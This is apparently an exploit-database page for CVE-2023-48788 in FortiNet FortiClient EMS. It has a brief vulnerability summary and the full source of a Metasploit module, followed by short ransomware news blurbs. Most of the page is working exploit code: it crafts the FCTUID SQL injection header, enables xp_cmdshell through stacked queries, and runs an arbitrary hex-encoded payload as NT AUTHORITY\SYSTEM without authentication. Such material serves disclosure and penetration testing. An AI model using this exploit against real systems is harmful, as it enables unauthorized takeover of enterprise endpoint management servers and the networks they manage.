Headline
FortiNet FortiClient EMS 7.2.2 / 7.0.10 SQL Injection / Remote Code Execution
A remote SQL injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server) versions 7.2.0 through 7.2.2 and 7.0.1 through 7.0.10. FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQL injection vulnerability is due to user controller strings which can be sent directly into database queries. FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable to SQL injection. It can be used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM. Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Tcp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE', 'Description' => %q{ An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which can be sent directly into database queries. FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM Affected versions of FortiClient EMS include: 7.2.0 through 7.2.2 7.0.1 through 7.0.10 Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet. It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. }, 'Author' => [ 'Zach Hanley', # Analysis & PoC 'James Horseman', # Analysis & PoC 'jheysel-r7', # Msf module 'Spencer McIntyre' # Msf module assistance ], 'References' => [ [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/'], [ 'URL', 'https://github.com/horizon3ai/CVE-2023-48788/blob/main/CVE-2023-48788.py'], [ 'CVE', '2023-48788'] ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Privileged' => true, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Automatic Target', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2024-04-21', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8013 }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) end def get_register_info register_info = <<~REGISTER_INFO AVSIG_VER=1.00000 REG_KEY=_ EP_ONNETCHKSUM=0 AVENG_VER=6.00266 DHCP_SERVER=None FCTOS=WIN64 VULSIG_VER=1.00000 FCTVER=7.0.7.0345 APPSIG_VER=13.00364 USER=Administrator APPENG_VER=4.00082 AVALSIG_VER=0.00000 VULENG_VER=2.00032 OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763) COM_MODEL=VMware Virtual Platform RSENG_VER=1.00020 AV_PROTECTED=0 AVALENG_VER=0.00000 PEER_IP= ENABLED_FEATURE_BITMAP=49 EP_OFFNETCHKSUM=0 INSTALLED_FEATURE_BITMAP=158583 EP_CHKSUM=0 HIDDEN_FEATURE_BITMAP=155943 DISKENC= HOSTNAME=CYBER-RETQB1FLP AV_PRODUCT= FCT_SN=FCT8001638848651 INSTALLUID=#{Faker::Internet.uuid.upcase} NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0 UTC=1710271774 PC_DOMAIN= COM_MAN=VMware, Inc. CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz MEM=12287 HDD=99 COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82 DOMAIN= WORKGROUP=WORKGROUP USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500 GROUP_TAG= ADGUID= EP_FGTCHKSUM=0 EP_RULECHKSUM=0 WF_FILESCHKSUM=0 EP_APPCTRLCHKSUM=0 REGISTER_INFO Rex::Text.encode_base64(register_info) end def get_message(sqli) message = "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\n" message << "IP=127.0.0.1\n" message << "MAC=#{Faker::Internet.mac_address}\n" message << "FCT_ONNET=0\n" message << "CAPS=32767\n" message << "VDOM=default\n" message << "EC_QUARANTINED=0\n" message << "SIZE= {SIZE_PLACEHOLDER}\n" message << "\n" message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n" message << 'X-FCCK-REGISTER-END' message << "\r\n" message << "\r\n" message.gsub!('{SQLI_PLACEHOLDER}', sqli) message_length = message.length message_length = message_length - '{SIZE_PLACEHOLDER}'.length + message_length.to_s.length message.gsub!('{SIZE_PLACEHOLDER}', message_length.to_s) message end def send_message(sqli) message = get_message(sqli) vprint_status("Sending the following message: #{message}") buf = '' begin connect(true, { 'SSL' => true }) sock.put(message) buf = sock.get_once || '' rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect end vprint_status("The response received was: #{buf}") buf end def check res = send_message("' OR 1=1; --") return CheckCode::Vulnerable('The SQLi has been exploited successfully') if res.include?('KA_INTERVAL') return CheckCode::Safe if res.include?("The FCT record doesn't exist") CheckCode::Unknown("#{peer} - FmcDaemon.exe does not appear to be running on the endpoint targeted") end def exploit # Things to note: # 1. xp_cmdshell is disabled by default so first we must enable it. # 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing # attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL # before running the command with xp_command shell. # 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which # is when we expect the response to be empty. inject = [ "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--", "' OR 1=1; reconfigure;--", "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--", ] inject.each do |sqli| if sqli == inject.last send_message(sqli).empty? ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') else send_message(sqli).include?('KA_INTERVAL') ? print_good("The SQLi: #{sqli} was executed successfully") : fail_with(Failure::UnexpectedReply, 'The SQLi injection response indicated the injection was unsuccessful.') end end endend
Related news
Threat actors have been observed abusing Amazon S3 (Simple Storage Service) Transfer Acceleration feature as part of ransomware attacks designed to exfiltrate victim data and upload them to S3 buckets under their control. "Attempts were made to disguise the Golang ransomware as the notorious LockBit ransomware," Trend Micro researchers Jaromir Horejsi and Nitesh Surana said. "However, such is
As the Akira ransomware group continues to evolve its operations, Talos has the latest research on the group's attack chain, targeted verticals, and potential future TTPs.
Threat actors linked to the RansomHub ransomware group encrypted and exfiltrated data from at least 210 victims since its inception in February 2024, the U.S. government said. The victims span various sectors, including water and wastewater, information technology, government services and facilities, healthcare and public health, emergency services, food and agriculture, financial services,